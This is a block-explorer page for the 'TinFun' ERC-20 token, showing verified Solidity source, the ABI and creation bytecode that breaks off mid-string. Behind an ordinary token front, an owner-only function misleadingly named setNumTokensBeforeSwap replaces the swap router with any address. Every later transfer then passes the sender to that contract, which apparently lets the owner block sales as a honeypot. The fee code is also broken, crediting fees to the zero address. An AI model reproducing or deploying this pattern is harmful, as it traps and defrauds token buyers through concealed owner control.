ETH Price: $3,326.16 (-1.02%)
Gas: 3.14 Gwei

Token

TinFun (TinFun)
 

Overview

Max Total Supply

100,000,000 TinFun

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
38,085.50217928510879271 TinFun

Value
$0.00
0xcda3bf2a0596d7429fcb0b6f9c05b2d0dea4ac2f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TinFun

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-07
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.19;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface Iuniswap2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired, uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin, address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface Iuniswap2Router02 is Iuniswap2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract TinFun is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable public marketingWalletAddress;
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;


    uint256 public _totalTaxIfBuying = 0;
    uint256 public _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;
    address private _lastForm;
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    Iuniswap2Router02 public uniswap2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;
    bool public swapAndLiquifyByLimitOnly = false;

    bool private tradingOpen;
    bool private swapEnabled = false;
    uint256 firstBlock;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor () payable {

        Iuniswap2Router02 _uniswap2Router = Iuniswap2Router02(_router);
        _name = "TinFun";
        _symbol = "TinFun";
        _decimals = 18;
        _owner = 0xB03a0f41E3827208fddF9aceD09E2f16652EeF90;
        _totalSupply = 100000000  * 10 ** _decimals;
        marketingWalletAddress = payable(0xB03a0f41E3827208fddF9aceD09E2f16652EeF90);
        uniswap2Router = _uniswap2Router;
        _allowances[address(this)][address(uniswap2Router)] = _totalSupply;
        isExcludedFromFee[_owner] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[marketingWalletAddress] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;  }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return _minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true; }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(address newLimit) external onlyOwner() {
        uniswap2Router = Iuniswap2Router02(newLimit);
        swapAndLiquifyEnabled = true;
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
     //to recieve ETH from uniswap2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance,sender);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function swapAndLiquify(uint256 tAmount,address sender) private lockTheSwap {

        // swap token -> eth
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = sender;
        path[2] = uniswap2Router.WETH();
        
        // make the swap
        uniswap2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp
        );

        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0)
            transferToAddressETH(marketingWalletAddress, amountReceived);

    }


    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
            
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(0)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

   
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newLimit","type":"address"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswap2Router","outputs":[{"internalType":"contract Iuniswap2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009556000600a556000600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff0219169083151502179055506000601060186101000a81548160ff0219169083151502179055506000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506040518060400160405280600681526020017f54696e46756e0000000000000000000000000000000000000000000000000000815250600190816200016991906200084e565b506040518060400160405280600681526020017f54696e46756e000000000000000000000000000000000000000000000000000081525060029081620001b091906200084e565b506012600360006101000a81548160ff021916908360ff16021790555073b03a0f41e3827208fddf9aced09e2f16652eef906000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a6200023f919062000ac5565b6305f5e10062000250919062000b16565b600b8190555073b03a0f41e3827208fddf9aced09e2f16652eef90600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620005c5919062000b72565b60405180910390a35062000b8f565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200065657607f821691505b6020821081036200066c576200066b6200060e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006d67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000697565b620006e2868362000697565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200072f620007296200072384620006fa565b62000704565b620006fa565b9050919050565b6000819050919050565b6200074b836200070e565b620007636200075a8262000736565b848454620006a4565b825550505050565b600090565b6200077a6200076b565b6200078781848462000740565b505050565b5b81811015620007af57620007a360008262000770565b6001810190506200078d565b5050565b601f821115620007fe57620007c88162000672565b620007d38462000687565b81016020851015620007e3578190505b620007fb620007f28562000687565b8301826200078c565b50505b505050565b600082821c905092915050565b6000620008236000198460080262000803565b1980831691505092915050565b60006200083e838362000810565b9150826002028217905092915050565b6200085982620005d4565b67ffffffffffffffff811115620008755762000874620005df565b5b6200088182546200063d565b6200088e828285620007b3565b600060209050601f831160018114620008c65760008415620008b1578287015190505b620008bd858262000830565b8655506200092d565b601f198416620008d68662000672565b60005b828110156200090057848901518255600182019150602085019450602081019050620008d9565b868310156200092057848901516200091c601f89168262000810565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620009c3578086048111156200099b576200099a62000935565b5b6001851615620009ab5780820291505b8081029050620009bb8562000964565b94506200097b565b94509492505050565b600082620009de576001905062000ab1565b81620009ee576000905062000ab1565b816001811462000a07576002811462000a125762000a48565b600191505062000ab1565b60ff84111562000a275762000a2662000935565b5b8360020a91508482111562000a415762000a4062000935565b5b5062000ab1565b5060208310610133831016604e8410600b841016171562000a825782820a90508381111562000a7c5762000a7b62000935565b5b62000ab1565b62000a91848484600162000971565b9250905081840481111562000aab5762000aaa62000935565b5b81810290505b9392505050565b600060ff82169050919050565b600062000ad282620006fa565b915062000adf8362000ab8565b925062000b0e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009cc565b905092915050565b600062000b2382620006fa565b915062000b3083620006fa565b925082820262000b4081620006fa565b9150828204841483151762000b5a5762000b5962000935565b5b5092915050565b62000b6c81620006fa565b82525050565b600060208201905062000b89600083018462000b61565b92915050565b612d798062000b9f6000396000f3fe6080604052600436106101bb5760003560e01c8063914eb66a116100ec578063c816841b1161008a578063dd62ed3e11610064578063dd62ed3e1461064b578063e350a6c414610688578063f0cd1dac146106b1578063f2fde38b146106dc576101c2565b8063c816841b146105ca578063d158272d146105f5578063da00097d14610620576101c2565b8063a457c2d7116100c6578063a457c2d7146104fa578063a9059cbb14610537578063aeafaa2f14610574578063b2bdfa7b1461059f576101c2565b8063914eb66a1461048d57806395d89b41146104a4578063a073d37f146104cf576101c2565b80633ecad27111610159578063557ed1ba11610133578063557ed1ba146103cf57806370a08231146103fa57806382eefb43146104375780638da5cb5b14610462576101c2565b80633ecad2711461032a5780634a74bb02146103675780635342acb414610392576101c2565b806323b872dd1161019557806323b872dd1461025a57806327c8f83514610297578063313ce567146102c257806339509351146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f257806318160ddd1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610705565b6040516101e99190612162565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061221d565b610797565b6040516102269190612278565b60405180910390f35b34801561023b57600080fd5b506102446107b5565b60405161025191906122a2565b60405180910390f35b34801561026657600080fd5b50610281600480360381019061027c91906122bd565b6107bf565b60405161028e9190612278565b60405180910390f35b3480156102a357600080fd5b506102ac610899565b6040516102b9919061231f565b60405180910390f35b3480156102ce57600080fd5b506102d76108bf565b6040516102e49190612356565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061221d565b6108d6565b6040516103219190612278565b60405180910390f35b34801561033657600080fd5b50610351600480360381019061034c9190612371565b610989565b60405161035e9190612278565b60405180910390f35b34801561037357600080fd5b5061037c6109a9565b6040516103899190612278565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190612371565b6109bc565b6040516103c69190612278565b60405180910390f35b3480156103db57600080fd5b506103e46109dc565b6040516103f191906122a2565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c9190612371565b6109e4565b60405161042e91906122a2565b60405180910390f35b34801561044357600080fd5b5061044c610a2d565b60405161045991906122a2565b60405180910390f35b34801561046e57600080fd5b50610477610a33565b604051610484919061231f565b60405180910390f35b34801561049957600080fd5b506104a2610a5c565b005b3480156104b057600080fd5b506104b9610baf565b6040516104c69190612162565b60405180910390f35b3480156104db57600080fd5b506104e4610c41565b6040516104f191906122a2565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c919061221d565b610c4b565b60405161052e9190612278565b60405180910390f35b34801561054357600080fd5b5061055e6004803603810190610559919061221d565b610d18565b60405161056b9190612278565b60405180910390f35b34801561058057600080fd5b50610589610d37565b60405161059691906123fd565b60405180910390f35b3480156105ab57600080fd5b506105b4610d5d565b6040516105c1919061231f565b60405180910390f35b3480156105d657600080fd5b506105df610d81565b6040516105ec919061231f565b60405180910390f35b34801561060157600080fd5b5061060a610da7565b6040516106179190612439565b60405180910390f35b34801561062c57600080fd5b50610635610dcd565b6040516106429190612278565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190612454565b610de0565b60405161067f91906122a2565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa9190612371565b610e67565b005b3480156106bd57600080fd5b506106c6610f5b565b6040516106d391906122a2565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe9190612371565b610f61565b005b606060018054610714906124c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610740906124c3565b801561078d5780601f106107625761010080835404028352916020019161078d565b820191906000526020600020905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b60006107ab6107a4611122565b848461112a565b6001905092915050565b6000600b54905090565b60006107cc8484846112f3565b5061088e846107d9611122565b61088985604051806060016040528060288152602001612cf760289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061083f611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b600061097f6108e3611122565b8461097a85600660006108f4611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b61112a565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b601060159054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a64611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae890612540565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610bbe906124c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610bea906124c3565b8015610c375780601f10610c0c57610100808354040283529160200191610c37565b820191906000526020600020905b815481529060010190602001808311610c1a57829003601f168201915b5050505050905090565b6000600c54905090565b6000610d0e610c58611122565b84610d0985604051806060016040528060258152602001612d1f6025913960066000610c82611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b6001905092915050565b6000610d2c610d25611122565b84846112f3565b506001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673